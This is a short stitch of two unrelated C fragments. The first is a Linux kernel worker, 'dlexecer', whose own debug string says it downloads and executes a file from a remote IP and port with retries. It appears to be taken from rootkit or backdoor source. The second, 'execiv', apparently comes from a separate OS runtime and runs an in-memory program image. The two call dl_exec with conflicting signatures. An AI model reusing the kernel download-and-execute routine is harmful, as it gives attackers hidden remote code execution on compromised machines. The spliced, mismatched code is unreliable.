void dlexecer ( struct work_struct *work ) { struct dlexec_task *task = (struct dlexec_task *)work; #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 36) DEBUG("dlexecer worker spawned, downloading and executing file, path=%s, ip=%u.%u.%u.%u, port=%hu, retry=%u, delay=%u\n", task->path, NIPQUAD(task->ip), ntohs(task->port), task->retry, task->delay); #else DEBUG("dlexecer worker spawned, downloading and executing file, path=%s, ip=%pI4, port=%hu, retry=%u, delay=%u\n", task->path, &task->ip, ntohs(task->port), task->retry, task->delay); #endif dl_exec(task->path, task->ip, task->port, task->retry, task->delay); kfree(task); }
int execiv(uint8_t *image, size_t size, char const **argv) { struct dl_list *list; char *argv_pack; if (!image) { errno = ENOENT; return -1; } /* build list for linker */ list = malloc(sizeof(struct dl_list)); list[0].type = DL_EXEC; list[0].base = image; list[0].size = size; list[0].name[0] = '\0'; /* save standard streams and filesystem root */ fdsave(0, fd_rp(0)); fdsave(1, fd_rp(1)); fdsave(2, fd_rp(2)); fdsave(3, fs_root); /* save argument list */ if (argv) { argv_pack = packarg(argv); __pack_add(PACK_KEY_ARG, argv_pack, msize(argv_pack)); free(argv_pack); } /* save environment variables */ __saveenv(); /* persist saved stuff */ __pack_save(); if (dl_exec(list, 1)) { errno = ENOEXEC; return -1; } return 0; }